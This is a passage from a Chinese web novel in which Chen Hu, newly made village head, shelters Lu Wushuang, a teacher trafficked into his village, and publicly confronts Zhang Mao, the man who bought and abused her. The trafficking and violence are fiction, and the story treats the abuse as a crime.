陈虎的不正经并未让孙若薇松弛下来,她深吸了一口气,接着开口道: “你应该并不清楚我爷爷是什么身份,也不明白我的家世到底是个什么概念。” “我这么告诉你吧!我爷爷这辈子大大小小打过的战役有上百场,参加过两次战争,曾在国家兴亡之际,做出过莫大的贡献。” “他退役后,了不得的领导人甚至于还亲自慰问过。” 陈虎听到这里,当即便收起了他的幽默,静静的坐在一旁聆听。 孙若薇则接着说道: “我父亲在我爷爷奋斗过的地方,仍旧继续坚持奋斗着,但我并不太能理解他们的坚持。” “因为我年幼时国内大环境不好,时局动荡,所以我被送到了国外,由我母亲照顾。” “直到十二岁那年,我才回到家乡,而去年我又被送到了国外留学。 “而我去留学是我母亲执意如此推动的,我自己却是想留下来,父亲的态度中立。” …… 第一卷 第97章 人的悲喜并不相通 陈虎在一旁听着孙若薇讲述,心中只觉不明所以。 “你想让我帮你什么?” 孙若薇闻言,垂眸苦笑一声,动手斟茶。 茶水自壶嘴顺流而下,她轻叹一声,接着缓缓出声道: “出生在这样的家庭,注定了我的身不由己,当下也许仅仅只是留学与否、出国与否,但我十分清楚,这仅仅是个开始!” “所以,我能做什么?”陈虎皱眉端起茶杯,随后一饮而尽。 听着孙若薇叙述的种种,他突然就意会了那句“人的悲喜并不相通”。 这世道有人为了孩子能够高考入学,愿意背上杀人的罪孽,有人却因为不愿意出国留学,与父母闹矛盾。 也许是听出了陈虎语气之中的那微不可查的不耐烦,孙若薇不由得叹了口气,顿了顿,随后还是接着说道: “你还是不会明白,出身在这样的家庭就,注定了一切都是注定。” “我会出国留学四年,回国后,任由家中安排。从工作到婚姻,我的人生从一开始就有了固定的模板,像是照着剧本上演的戏剧,即便我能够清晰的看到每一根牵扯我的丝线,但我却无力改变。” 陈虎神色淡然,把玩着茶杯道:“孙老对此是什么态度?” 孙若薇闻言,苦笑一声,叹了口气道: “在爷爷看来,这条既定的路,同样是为我着想。他并不能理解我的反抗,在他看来,如此行进下去的人生,必然是幸福的。” 陈虎微微颔首,对此他十分认同。 有的人为求生计苦苦挣扎,豁出这条命也触碰不到孙若薇所烦恼的人生。 对于普通人而言,活着便已然需要倾尽全力了。 但对孙若薇来说,活着与生活是完全不同的概念。 她拥有旁人羡慕的完美人生,却执拗的认为被提前安排的一切是束缚。 当然,这并没有错! 人们总是想要更多,每当有了选择的权利,世人的眼睛总会流连于未知的方向。 陈虎深吸了一口气,自顾自的斟满茶水,接着端起茶杯,大口喝下。 孙若薇看着沉默不语的陈虎,心中不免得一阵失落,又顿觉可笑。 自己为什么会选择向面前这个人问询解决问题的办法呢? 他们完全是两个世界的人! 陈虎一生都不曾走出这座沧海一粟的小镇,他的目光也许比旁人长远,但他或许很难想象孙家是个怎样的存在,更不会明白有着这般优渥条件的自己,何故要想这么多? 陈虎此时放下茶杯,略带欣赏的目光毫不掩饰的望向孙若薇,接着缓缓出声道:“你很聪明!其实,你所说的问题,你自己就能够解决。你是个聪明的女人,你除了这份不一般的身世之外,还有着诸多的优点。” “现在的你,并不需要我的帮助,也许你需要停下来想想看,若是你能整合你所拥有的所有资源,并且下定了某个决心,那你随时都能够摆脱这份困扰。” 陈虎的话,顿时回荡在孙若薇的心头。 孙若薇诧异的望着陈虎,不断思量着陈虎说的这番话。 陈虎随后将杯中的茶水,一饮而尽。 接着,陈虎不顾孙若薇神色间的迷惘,起身浅笑出声,告辞道: “今日叨扰了!我这次来镇上,还有些事情需要去做,就先告辞了!” 孙若薇闻言,顿时就清醒过来,愣了愣后,这才起身,然后连忙说道: “你说的我会考虑的!你既然要先离开,那稍等一会儿,我得依照爷爷的吩咐,给你结算这些野味的钱!” 陈虎浅笑点头,不再出声。 不多时,孙若薇将一沓票子,交到了陈虎的手中,陈虎接过钱后,便起身辞行离去。 孙若薇此时看着陈虎一步步向外走去的背影,心中思绪万千。 她正打算接着开口,却见陈虎先一步驻足停下,接着转身,对她微笑开口道: “若薇,正如你所说的,如剧本般既定的人生,太过于无趣了。” “很多时候,我们看似无力反抗,但实际上,任何人都有选择的机会。” “不过,机会是需要去争取,而争取的过程之中,往往伴随着惨痛的代价。” “如果这是你想要的,那便无需多想!” 陈虎灿然一笑,接着正色道: “做该做的,剩下的交给命运!” 孙若薇在陈虎的一席话下,久久没能回过神来。 等到孙若薇清醒过来时,门口早已空空如也。 恰在此时,孙老低哑的声音,从孙若薇的身后传来: “在爷爷看来,很多事情,老头子我也好,你父母也好,我们拿着前人的经验为你铺路,既定下一切依你所言的剧本,其实都是为你着想。当然,和那混小子说的一样,你有选择的权利!” …… 陈虎的话,让孙若薇这日过后,久久不能释怀。 尽管陈虎的建议,并不存在实质性的方法,但却让得孙若薇犹如透过玻璃,见过外面世界的家猫一样,一再蠢蠢欲动。 很快,时间来到年三十这天。 除夕夜,马老三一家正如先前约定的那般,带上了酒肉,一早便到了陈虎家中。 杨蓉对于这一家年三十到访的客人,也是十分欣喜。 正午时分,正在与杨春一起择菜的杨蓉,望着马老三与陈虎坐在炕头交谈,三个孩子打打闹闹、有说有笑,好生热闹,脸上的欣慰,不做掩饰道: “自打孩子他爹去世后,好久不见这般热闹的时候了!” 杨春闻言,也是笑出声来:“也是多亏了陈虎!没有他,我家马老三这辈子怕是没啥出息了,所幸陈虎愿意带着他。否则的话,我们一家子今年这个年,怕是得饿着肚子熬过去。” 杨蓉闻言,倒是没有替陈虎谦虚,笑了笑没说话。 毕竟,若非陈虎突然就开了窍,那自家也差不太多。 她独自拉扯三个孩子,早两月差点儿就给小鼻涕虫和小囡囡过继给村东头那老光棍的家里了。 对此,杨蓉也是一阵揪心。 当时,家里头一口吃食都没剩下,若非如此,哪个为人母的会生出这般心思?将孩子送人,也是期盼着孩子去了别人家,能够吃口饱饭,不至于饿死! 第一卷 第98章 拐卖 炕头上,陈虎煮上了一锅黄酒。 酒水里面,还掺了些蜜饯等干果。 “这可是正经的南方佳酿!马老三,你赶紧趁热尝尝,为这酒水我可是到镇上好一番追问。这酒不比烈酒,但煮热了,不仅口感丰富,带着各式香味,还会越喝越是上头!” 马老三端起酒碗,嘿嘿笑着:“虎哥,这要是我喝多了,大年夜一觉睡过去,怕是不合适哎……” 陈虎一边摆摆手,一边端起酒碗,大口喝下。 接着,陈虎一边舒坦的呼出一口气,一边笑道: “都说了不是烈酒,你大可放心喝!” 就在屋内其乐融融,两家人热热闹闹准备除夕夜之时,屋外却是传来了一阵喧哗声。 闹腾的声响直接打搅到了屋内的温馨,陈虎与马老三率先走出了房门。 村里头一群人吵吵嚷嚷的,大部分村民们都带着看热闹的神色,跟在人群后边。 就见得,村头那姓张的老光棍张茂,正带着几号人,手中拿着棍子,咋咋呼呼的四处走动着。 马老三率先上前,找了个村民询问情况。 其他人见到陈虎和马老三是一起的,顿时一个个的都分享欲强到了没边。 尤其是村里面现在能在陈虎面前说道,在这些村民看来,都是非常显能耐的事情。 村民们一堆嘴,齐齐说道不停: “哟!说是张光棍去县里面煤矿里头,埋头苦干了一整年,挣了点儿老婆本噻,不知道搁哪儿买了个老婆,这还刚带回来,打算过了年过门嘞,结果人给放跑了!” “啥叫挣了老婆本?就张光棍那点儿出息,挣点儿钱全吃喝赌去了!那是矿上出了事儿,说是死了人给的封口费。张光棍兴许是一把年纪没碰过女人,这次倒是没送给赌场,买了个女人回来。” “那女人我见着了!模样倒是中规中矩,但白白净净的,一看就是实打实没吃过苦的城里人,保管来路不正!” “陈大爷,你这不是说的废话嘛!都是买来的,哪儿有来路正的?” “瞎说!那女人我可看着了,那屁股那腰肢,绝对是个能生儿子的,看着就舒坦得很嘞!” …… 在众人你一言我一语的探讨声中,陈虎与马老三也算明白了怎么回事。 马老三对此倒是兴致缺缺,陈虎则忍不住皱了皱眉,但也没做声。 对于陈虎而言,拐卖妇女儿童这事情,放在前世,已然近乎绝迹了。 当然,他在世界各地执行任务时,也不乏见到在许多第三世界落后小国内,常有此事发生。 但现在,陈虎却不想多操这份心。 毕竟,眼下这年头,卖家固然是犯罪,但买家可不妨事,报警也无用。 并且,哪怕他有心阻止,也不可能让其绝迹。 他浪费再多口舌,像是张茂这类四十好几的老光棍,今天既然付了钱,便绝对不可能听他的。 哪怕是今儿人跑了,明天这类人手里面有了闲钱,仍旧会再去买一个回来。 至于追查源头,找到买家,把消息给到警方? 陈虎并不是救世主,也没有做英雄的心。 毕竟,做英雄的代价,极有可能是与一群亡命之徒扯上关系,保不齐就是见血要命的勾当。 这对于一心想要养家糊口,最好带上村里头亲朋邻里搏条活路的陈虎而言,责任太重,奈何能力不够! 就这般,陈虎与马老三任由张茂那厮到处找人,也不再与村民们凑热闹,直接折返回到家里头,坐回到炕头上,接着煮酒。 屋外的吵闹声,不多时便消散了下去。 时间过得很快,二人一直畅饮到了日落傍晚,晚饭上桌时,才放下酒碗。 两家人共计八口,拼了两张桌子,煮了两大锅米饭。 餐桌上面,各种硬菜一一摆上,杨蓉与杨春给大家分发筷子、盛饭。 餐桌上,气氛十分和谐,有说有笑间,陈虎突然宣布了一个消息道: “忘了说件事儿,陈桥一家死了,空出来的村长位置,镇上直接推选了我上任。这事儿等到大年一过,我就会通知给全村,到时候,养殖场我会拿着政策扩建。马老三,你回头与杨春商量下,养殖场给你们安排个工作,还有之前计划的供销社,也分配一个职位,具体怎么安排,你俩自个儿商量下。” 马老三两口子闻言,顿时大喜,连连出声道谢:“虎哥,往后我马老三一家三口的命,全部都是你给的!有啥你尽管吩咐!上刀山,下火海,我马老三都决计不会说半个不字!” “虎哥,你这让我一家该如何报答你……” 两夫妻的话很官方,但很显然是真情流露。 两份工作,放到这年景下,这两份额外的收入就等同于给了两条命! 并且,供销社的工作一开始就预定给了杨春。 这工作不算忙碌,还照顾着杨春需要带孩子做饭。 再多一份养殖场的工作,这就是让夫妻双职工,可以说陈虎完全是给予了这个家再造之恩! 就在他们交谈着,陈虎正摆手示意马老三和杨春夫妻无需多做感谢时,后院位置处,却是传来了一阵怪异的动静。 其余人倒是没注意,但对于陈虎而言,前世的职业习惯让他难以忽视这动静,当即知会一声,拎着短刀,便往后院去查看。 马老三见状,也急忙跟了上来。 二人来到后院之后,映入眼帘的一幕让得两人都忍不住一阵诧异。 只见,雪地上本来堆放整齐的干柴,此时已经倒下散落了一地。 柴火堆里面,还有一道身影瑟瑟发抖。 陈虎见状,怀疑是贼,警惕着提刀上前。 马老三也随手捡起一根木柴握紧,连忙绕到另一个方向,凑近过去。 可等二人接近,看清柴火堆里的那道身影后,却是都忍不住一阵错愕。 因为倒在柴火堆里的,竟是一个女人! 马老三冲着那女人喊了两声,却始终不见有回应。 陈虎收起短刀,走近查看,这才发现这女人穿得单薄,早就已经冻得没了意识了。 陈虎顿感无奈,却也只能亲自动手,将这女人抱回了屋里。 等到这女人被陈虎抱到炕上,给她盖上了被子之后,杨蓉与杨春这时候也都凑了上来查看。 四人面面相觑,马老三随后有些无奈地解释着刚才发生的情况。 第一卷 第99章 什么报答 这女人躲在后院里晕倒,再加上村头张茂正带着人到处寻找他买来的女人,顿时,屋子里的四个成年人,自然也都猜到了这女人的来历。 很显然,这女人就是午后张光棍四处寻找的,那名被卖到此处的女人。 陈虎一脸无奈的皱着眉头。 尽管他明白他多管闲事的话,不会带来任何好处,但看到炕上被冻得面色惨白,仍在瑟瑟发抖的女人时,他仍旧不忍心将其送到张茂那里去。 陈虎暗自叹了口气,然后坐回饭桌,接着吃饭。 杨蓉与杨春两人倒是热心肠,上前给女人检查了全身。 她们一边检查,一边惊呼不断: “啧啧啧……多好的一个姑娘,这浑身上下都是淤青,简直没半块好肉!” “马老三她媳妇儿,你快看这姑娘大腿!”杨蓉一边扒拉开女人的大腿,一边皱着眉头,惊呼出声。 杨春赶忙上前,掀开女人单薄的衣裳,哪怕隔着裤子,但也能够清晰地看见女人的两条大腿中间,一片鲜血淋漓。 血迹渗出之后,直接就将腿和裤子联结,越看越让人心惊与不忿。 杨春检查过后,忍不住怒骂出声道:“好!好!好!张茂这畜生活该打了大半辈子光棍!当真禽兽不如!这伤摆明了是绳索勒出来的,简直丧心病狂!” 杨春怒骂不止,杨蓉则去找来了烈酒,小心翼翼的用一块棉花为这女人擦拭伤口。 高度酒抹在伤口上面,能够有效杀菌,帮助伤口愈合,可实打实的让人吃痛。 也不知这女人是因为进了屋,上炕头暖乎了身子才清醒,还是因为杨蓉涂抹烈酒让其痛醒了过来。 女人醒来后,急忙蜷缩作一团,警惕着退到床边,靠在墙角落,眼神怯生生地看着屋内的一众人。 杨春见状,赶忙安慰道:“妹子别怕!我们不是坏人!” 杨蓉也跟着出声道:“妹子,你别着急!你现在安全了,我刚才在给你上药。” 女人闻言,却仍旧怯懦的躲在墙角,紧紧抱着双腿蜷缩着,不言不语,两眼满是畏惧的盯着屋内一众人。 哪怕是陈瑶和陈真,还有马老三的儿子马雨,似乎这三个小家伙也让这女人感到害怕。 直到杨蓉与杨春两个女人轮番上阵劝解,并且拿来食物与水,安慰过后,这女人才总算放下了些许警惕,坐了出来,端起碗来,大口大口的吃着。 陈虎一直在旁边,静静的打量着这个女人。 女人的身形十分消瘦,接过饭碗后,看那慌不择食的吃相,就很能凸显她近来忍饥挨饿的日子。 她的肤色呈现出一种病态的白皙,脸上还明晃晃的有着一片淤青。 等到女人吃饱之后,总算是彻底平静下来,将屋内的一众人环视后,这才颤颤巍巍的开口,以一种求救的语气出声,讲述了她的遭遇。 “我叫陆无双……是青城人,我爹娘早故,家里没有别的亲人,本来我在城里的一处小学任教……” 女人今年刚满二十五岁,被拐卖前是一名小学教师。 她的家乡在南方的一座小城,距离此处数千公里,说是相隔天涯,也不为过。 她被人贩子拐走之后,几经转手,才送到了这里,被张茂以八十五块的价格买下。 张茂将她带回家后,几番凌辱虐待。 陆无双本想着死了一了百了,但又觉着这群虐待她的畜生们还活得好好的,便满心怨愤! 所以,她不再反抗,只为了博得张茂信任,打算逃离之后报警,让这群畜生们得到应有的教训。 在取得了张茂的信任之后,陆无双便在除夕的今天,逃了出来。 可多日的折磨虐待,以及长期的营养不良,再加上她出逃时只有单薄的衣服可穿,让她在这严寒的冬日里面,寸步难行。 很快,她逃跑的事情被张茂发现,慌不择路之下,她便躲进了陈虎家的后院,躲在了后院那堆干柴的背后。 随后,她一直撑到了天黑,直到被冻得失去了意识昏迷,这才弄倒了那堆干柴,最终被陈虎发现。 若不是陈虎发现得及时,恐怕晚上一个小时功夫,陆无双就可能已经冻死在了他家后院了。 听完陆无双的遭遇后,杨蓉与杨春两人都忍不住义愤填膺,怒骂村头老光棍张茂与那群人贩子。 陆无双讲述完故事过后,便静静的坐着。 她既没有苦苦哀求屋里面的众人,帮助她什么,亦或是央求不要将她送回张茂家,反倒是神色淡然,一声不吭的干坐着。 陈虎一直不紧不慢的一边吃饭,一边听着陆无双讲述着她的遭遇,等到陆无双讲完,他也放下了筷子。 接着,陈虎望向陆无双,十分平静的出声问道:“你说你是小学教师?” 陆无双没做声,只是面色冷漠的望了陈虎一眼,旋即点了点头。 陈虎开口后,杨蓉与杨春两人也停下了义愤填膺,都将目光投向了陈虎。 陈虎挑眉,接着出声道:“我现在有三个选择,一来,我可以将你接着转手卖掉,相信不愁没有买家。” 陈虎这话一出,陆无双的眼中便升起了一股怨愤,死死的盯着陈虎。 屋内其他人也是一脸诧异,杨蓉紧紧皱眉,重重喘息。 马老三夫妇则面面相觑,满脸的不可置信。 就连三个安静待在一旁吃饭的小家伙,也是脸色难看,小囡囡更是站起身,挡在了陆无双的面前,委屈出声道:“哥哥不要卖掉姐姐!” 陈虎并未理会众人,接着不紧不慢的说道: “第二个选择,我想若是把你送回给张茂,量这老光棍也不敢在我跟前捂着荷包,不给报酬!” 杨蓉见陈虎说出这番话,再也忍不住了,直接怒斥道:“小虎!你说的什么混账话?” 马老三也忍不住咽了口唾沫,脸色为难道:“虎哥……要不……” 陈虎却是摆了摆手,直接打断马老三发言,然后坦然一笑,继续说道: “第三,我可以救你,并且会报警,帮你惩戒这群畜生。那群人贩子能不能被抓到,我不清楚,但我能作证,让张茂进去蹲苦窑赎罪。” 说话间,陈虎顿了顿,接着微微皱眉望,向陆无双继续道: “可这样一来,你就欠了我一份恩情。但你又一心求死,我这人不喜欢被人欠我什么,所以,你若是希望我选择第三条,我需要你拿出诚意。给我一份报答。” 陆无双的神色在听完陈虎这番话后,得到了缓和。 她凝视着陈虎,打量许久。 最后,陆无双轻轻咬着唇角,颤抖出声道:“你想要什么报答?” 陈虎轻笑一声,一只手摩挲着下巴道:“这件事情,对你来说并不难。” 正说着,陈虎站起身,直接走向里屋,很快取出纸笔。 接着,陈虎自顾自的坐下,执笔写着什么。 不多时,那份纸笔便摆到了陆无双的面前。 陆无双一脸不解的看着陈虎递来的纸笔。 只见,那张白纸上面,写满了文字。 开头的标题,明晃晃写着四个大字: “聘用协议!” 陈虎接着出声道: “认识一下,我是这上河村新上任的村长,陈虎。” “我打算在村子里面,新修建一所学校,为本村和相邻几个村落的孩子们提供学堂。” “现在,我想聘用你为我们学校第一位老师。如果你愿意的话,那我能够保证全村人都会证明他张茂非法囚禁、故意伤害陆老师,他哪怕吃不上枪子儿,下半辈子也会留在牢里面改造的。” …… 第一卷 第100章 君子不救 对于一个父母早故,拐卖后又被多次转卖的女人而言,得救并不等同于自苦海中解脱。 陈虎十分清楚,如今的陆无双,家中没有亲人,自然也就没了多余的挂念,撑着她活到今天的,也许仅仅是对那群丧尽天良,买卖人口的罪犯复仇。 救下一个注定要走上不归路的人,其实没有任何意义。 就像是为奔赴刑场的囚犯,送上一桌断头饭一样,真正的救赎是给她生的机会,而不是让她了无遗憾的去死。 陈虎给出的选择,环环相扣。 在陈虎说出了第三个选择之后,在场的所有人不由得都松了口气,一时之间,他们既欣喜,又震惊。 陆无双最先反应过来,原先投向陈虎仇视的目光里面,此刻逐渐清澈。 那双漂亮的眼睛里面,一时之间,突然蓄满了泪水,可犹豫了许久,陆无双却摇了摇头,喃喃出声道: “让我给这里的村民教书?呵呵……他们眼睁睁看着我被拐卖到此,那头禽兽将我买下后,无数来看热闹的村民们都听到过我的求救声,但所有人都用奇怪的目光,眼睁睁看着被锁链拴住,像是猪狗一般的我,完全无动于衷。” “让我留在这里教书,你不如现在就一刀给我个痛快!” 陆无双的情绪当即就激动起来,那些惨痛的回忆侵袭着她仅存的心力。 直到抽泣着说完这番话后,她才直挺挺的倒了下去,躺在炕头上面,大口大口的喘息着。 一旁的杨蓉和杨春两人见此情形,急忙打算查看情况,陈虎却摆手拦下,示意不用。 紧接着,陈虎微微垂眸,沉声道: “你认为他们冷漠,与那张茂抑或是那群人贩子一样,都是一丘之貉?” 陆无双没有应声,沉默替她做出了回应。 陈虎接着嗤笑出声道: “你既然是教师,那我就问你个问题。如果你碰见一个落水的孩子,但你又不识水性,下河救人的话,你就可能会一并淹死,那你到底救是不救?” 陈虎的问题简单,却又令人深思。 屋内,马老三、杨春与杨蓉等人都忍不住一阵错愕,不知道陈虎在卖什么名堂,但又忍不住思考这个问题。 若是自诩善良,自然不能坐视不管。 可若是救人就会死,这又有谁会如此舍己为人? 可若是为了自身性命考虑而选择不救,那自己当真能够眼睁睁看着落水的孩子淹死? 这个问题,显然也让陆无双无比为难。 缓了一阵之后,陆无双静静思考了一会儿,好几次张嘴却都没能够出声给出答案。 陈虎这时候方才打了个响指,说道:“相信陆老师听过这个典故,答案是君子不救。” 陆无双仍旧没有回答,只是听到陈虎说出这句话时,眼皮微微抖动着。 陈虎随后深吸了一口气,接着正色道: “路见不平是道德共识,却并不是法律法规所规定的。也许,法律仅仅是最基础的道德规范,但只要并不违反律法,那便谈不上恶。” “陆老师知晓何为良善吗?” 陈虎再次抛出了问题,一屋子人都听得云里雾里的望着陈虎。 陆无双愣了愣后,张嘴弱弱的出声应答:“舍己为人,无私奉献。” 陈虎闻言,点了点头,又摇了摇头,接着笑道: “对也不对!” “准确的来说,善良是针对某一个具体对象的无私利他。” “可又有谁能够做到完全无私的利他呢?” “这世界上,显然不存在能为世人标榜的圣人!” “既然如此,那陆老师又如何能够苛求这些未经开化的村民们,个个都有圣人的风范呢?更何况,也许在这片落后的山村,大家早已经习惯了这种事情,在他们的认知观念之中,这些稀疏平常的事情,或许并没有被冠以恶行一说。” “人的认知与思想是环境造就的,他们并没有选择的权力。” 陈虎不断输出着他的这一番言论,陆无双静静聆听着。 待到陈虎说完,陆无双低下头,沉思良久,最后长出了一口气,然后抬头望向陈虎道: “你刚才说的第三个选择,现在还作数吗?” 不得不说,陆无双算得上是一个心力强大的女人。 尽管父母早逝,她自己一个人孤苦伶仃,最后却仍旧能靠着她自己成为一名教师。 被拐卖后,陆无双饱受虐待、历经折磨,但她却并未在惨无人道的磨难之下,扭曲最基本的是非观。 有的人也许会因为一点儿旁枝末节的缘由,各种发生在自己身上的不幸而人格扭曲,做出例如大范围投毒,持械伤人等等反社会的行为,对社会或是某些人做出报复。 但陆无双却能够始终保持着自己的是非观念,最后选择了陈虎给出的第三个选择。 陈虎见陆无双终于松口答应,心中一边长出一口气的同时,嘴角也是露出了一抹略带深意的微笑,接着缓缓出声道: “放心!张茂这游手好闲不讨喜,还暗地里做些牲口行为的东西,早就应该受到惩罚了!” “我保证会让你酣畅淋漓的享受这场复仇,确保你之后有个好心情,会愿意留下来工作的!” 这一晚的年夜饭,就在这个插曲之中,落下了帷幕。 晚间,杨蓉收拾出了客房,让陆无双住了进去,并且还烧了一桶热水,给陆无双好生洗漱一番。 最后,杨蓉又找来不少的药物,给陆无双清理伤口。 好在,陈虎扩建的老屋足够大,空出来的客房都有两间。 杨春也跟着忙前忙后,帮衬着照料满身都是伤痕的陆无双。 一直忙活到半夜,马老三与杨春夫妻最后也都带着孩子,跟着在陈虎家里面留宿过夜。 次日,大年初一,辞旧迎新,新的一年伊始,陈虎一家都起得十分早。 早饭的时候,一群人围满了桌子,两家人再加上陆无双,显得十分热闹。 在杨蓉与杨春两人的嘘寒问暖,再加上陈虎的保证下,陆无双也很快适应了这间屋子里的温情,露出了一抹难见的笑容。 饭后,陈虎便招呼着马老三,去找个锣鼓,顺便叫来全村人。 马老三闻言,当即便出门照做。 随后,陈虎又望向陆无双,轻声宽慰道: “等会儿人多,你什么都不需要做,露个脸别吭声就成!” 陆无双看着陈虎略显稚嫩的面庞,听着陈虎让人感到放心的声音,深吸了一口气,点了点头。 不多时,在马老三忙活着跑了一圈村子后,村里头的人都很快围拢了过来。 一大清早的,陈虎家的院子里面,便里三层,外三层的围满了人。 陈虎站到院子里面,身旁还带着陆无双。 可二人刚一露面,人群之中的张茂便瞅见了陆无双,当即便兴冲冲的跑上前来,先是冲着陈虎笑道:“哎呦!虎子,你给叔把人找到了啊!这敢情好啊!” 说罢,张茂便扭头看向陆无双,上前便打算伸手,脸色一冷,大声怒斥: “死娘们!臭婊子!你能跑是吧?老天爷怎么不冻死你?!我看你再跑啊,你最后还不是被抓到了……” 第一卷 第101章 简直就是大善人活菩萨! 说话间,张茂上前就要拿人。 站在陈虎身侧的陆无双,顿时就被这一幕吓得不轻,下意识的就扭头看向陈虎,并连着后退两步。 就在这时,陈虎面露不善的冷哼一声,紧接着就抬腿,狠狠一脚踹出,直接踹在张茂胸前! 张茂当即就翻倒在地,接着发出了“哎呦、哎呦……”的痛苦喊叫声。 张茂这厮今年四十好几,穿着一件黑棉袄子,衣服上油光噌亮不说,还满脸麻子,长得也是肥头大耳的。 眼见着他在雪地上翻滚着惨叫,活脱脱像是一头黑毛猪在打滚,惹得人群一阵发笑。 “嗐!这一脚倒是踹得舒坦,张茂这贼儿子,昨儿年三十还上我家院子里面打秋风,顺走了一些个干辣椒。要不是看年十三的份上,老子非得砸烂他家门户,给他挂彩才行!” “瞧你这话说的,因为一点儿干辣椒,你就要打死他?他打秋风也不是一天、两天了,也是活该挨这一脚!” “不是!那不是张茂这厮在矿上拿了封口费后,买回来的媳妇儿?咋滴还被打了?” “不知道!不过张茂也是真不当人,前几天的时候,咱们哪天晚上不听见这女娃的哭喊声,估摸着掀开衣服,身上没一块好肉,真是造孽!” …… 村民们议论不断,张茂缓了一阵子后,这才爬起身来,然后恶狠狠的看向陈虎,咬牙出声道:“作甚就打我?这女人是我买回来的媳妇儿!姓陈的,你不会想自己占了吧?我张茂可不是好欺负的!赶紧把人给我交出来!” 陈虎闻言,不由分说的直接一步上前,抬起手掌,就左右开弓,对张茂劈头盖脸的扇起了耳光。 张茂哪儿见过这阵仗,再加上陈虎手快,还没反应过来,他的脸上就结结实实挨了十几下耳光! 清脆的响声,传遍了院内院外,把一众村民们都看得暗暗心惊。 打了一阵后,等到陈虎住手时,张茂早已经脑袋晕乎,神志不清,在原地打转几圈后,直接倒了下去。 躺在地上时,张茂的嘴里面,还不断的往外吐出血沫。 嘶…… 众人见此,都不由得倒吸了一口凉气,忍不住小声议论着陈虎这是唱的哪出戏。 就在这时,陈虎才将冷峻的目光投向人群,接着缓缓出声道: “诸位,今儿找大家过来,一共有三件事情要说!” 听到陈虎的话,人群中的议论声戛然而止,所有的村民们都好奇望向陈虎。 毕竟,如今陈虎的名气,莫说村子里面的亲邻们,就是周围十里八乡,乃至在镇上都传得有风有雨的。 再加上头一次陈虎这般开口,还是说供销社与干货的那档子事,等同于给全村多增加了一份收入,所以现在见陈虎有事儿宣布,大家都竖起了耳朵,仔细听着。 陈虎见状,也不卖关子,朗声道: “第一,镇里边已经任命了我做咱们上河村的村长,任命书是头几天下来的,往后村子里面的相关事务,大家都可以来找我解决。” 陈虎这话一出,顿时就在人群之中,掀起了轩然大波! “好家伙!直接任命?不是都要经过选举吗?” “你蠢不蠢啊?上次雪灾那档子事,人家镇里头领导便点名要见陈虎了,再说了只要他陈虎参加选举,我第一个拉着全家给投票!” “就是!村里头谁能争?不给他投票的,怕是一只手都能数得清!” …… 陈虎没有理会村民们的议论声,接着朗声道: “第二件事情,我既然上任了这个村长,那我就有责任带着大家吃饱肚子,过上好日子!” 听着陈虎张口就是官腔的发言,大家伙倒是没那么感冒,议论声接着四起。 陈虎却自顾自接着道:“我不会空口白话的就让大家来认可我!” “我既然说了,那就有把握!” “首先,大家伙都知道,我家老屋改成了养殖场,先前也帮着许多人户带了些鸡鸭鹅养着。现在,我就可以声明,养殖场要招工三人,还剩两个名额!工钱每月二十块,工作内容不多,想要应聘的,就去找马老三报名!” 这话一出,大家伙顿时一个个双眼发亮! 这感情好啊! 两个岗位是不多,但大家都有机会。 每月二十,听起来是没多少,但要知道如今县城里面做苦力,一天也才一块二! 这养殖场能有多少活儿? 并且,离家里还近,不仅方便,工资也不赖,女人也合适去干,顿时就让得家里头田产不多的村民们蠢蠢欲动。 而陈虎接下来的话,则又是让一众村民们眼前一亮! “大家先别着急,养殖场的岗位的确不够分。所以,后续我会想办法引进更多产业到村里头。并且,我承诺,养殖场只要达到了正向营收,那前期利润的三成,我都会拿出来给村里头修路的!” 这话无疑又是一枚重磅炸弹! 自己掏钱给村子修路? 这哪儿是村长啊! 简直就是大善人活菩萨! 陈虎见村民们情绪调动,余光随后瞥向躺在地上,刚回过神的张茂,不由得心中一阵冷笑。 旋即,陈虎接着出声道:“等到过了正月雪化,我会想办法引进更多的产业进来,大家看这便是,我这话绝对不会是空话!” “现在,我们说第三件事情。” “我打算集资,在村里头创办一所学校!” 哗! 人群又是一阵沸腾,陈虎接二连三带来的消息,一个比一个震撼人心! 在一个落后的贫困山村,不断的创造就业岗位,给村民创造了一个又一个增加收入的机会,现在还打算建设一所学校? 这简直就像是某位北边国家元首上台时,接二连三给出的一系列承诺。 面包和牛奶会有,小汽车也会有! 最重要的是正如陈虎所言,这一切并不是空口白话! 村民们一个个都激动不已,因为陈虎现在已经做出来的成绩,都证明了陈虎不像是在吹牛作假说空话。 “老天爷开眼了!咱们村子有救了!” “为什么陈虎没早生几年啊?刚过的去年年景不好,我家昨儿年三十,一家人还在吃稀粥呢!” “谁说不是!前十年饥荒,我家老三就因为吃不上饭送人了,一家人差点儿饿死!” “父母官!父母官!这不就是真正的父母官?管百姓衣食的父母!” …… 第一卷 第102章 大家伙,咱们得给陆老师报仇! 陈虎眼见村民们情绪高昂,随后继续扬声开口道: “父老乡亲们,你们知道学校意味着什么吗?” “它意味着咱们家家户户的孩子,都能够读书认字!意味着哪怕孩子不是读书的料,也不会大字不识一个,哪怕只是学个算数,以后去当个账房,也绰绰有余!” “国家已经恢复了高考,这就意味着只要孩子聪明好学,那就都有机会成为大学生。以后考取功名,就能成为国家栋梁!” “并且,我在这里承诺,三年内咱们村所有人家,孩子入学的学费减半!三年后孩子入学,学费全免!” 得! 又是一枚重磅炸弹,砸进了人群之中。 一个个村民这会儿都像是打了鸡血似的,陈虎口中的那“考取功名”四个字,让得他们一阵阵眼红! 自古以来,考取功名绝大多数时候都是底层人最大的出路! 尽管百分之九十的村民,连自己的名字都不会写,却仍旧知道“考取功名,光宗耀祖”意味着什么! 但放在几十年前,几百年前,读书历来都是士族的晋升渠道。 哪怕是所谓的寒门子弟,那也是士族出身! 即便是穷苦人家有念书的决心,也鲜有机会接触到书本知识。 就算是有了书,又有谁家请得起先生? 连饭都吃不饱,又有谁愿意把全家的口粮,都拿来送孩子去学堂? 陈虎看着村民们激动的模样,十分满意。 接着,陈虎便将目光投向了早已被他十几个耳光打懵,又被他的话给镇住的张茂。 张茂看到陈虎目光投向他的时候,莫名的就一阵慌乱,早已没了先前的嚣张劲儿。 陈虎随即深吸了一口气,接着嘴角升起一个不易察觉的幅度,话锋一转道: “诸位父老乡亲们,创办学校这事儿,很早我便找了关系,也有朋友答应入资,这事儿年前就已经敲定了。” “我那位朋友也花了不少钱,找到了一位外来的老师。” “但让人愤怒的是,这位老师在来到镇上后,却莫名其妙的失踪了!” “我年前便一直在四处打听,谁料这位愿意来到咱们村子的老师,竟是被人贩子给抓了起来,后又被卖到了咱们村的张茂手里!” 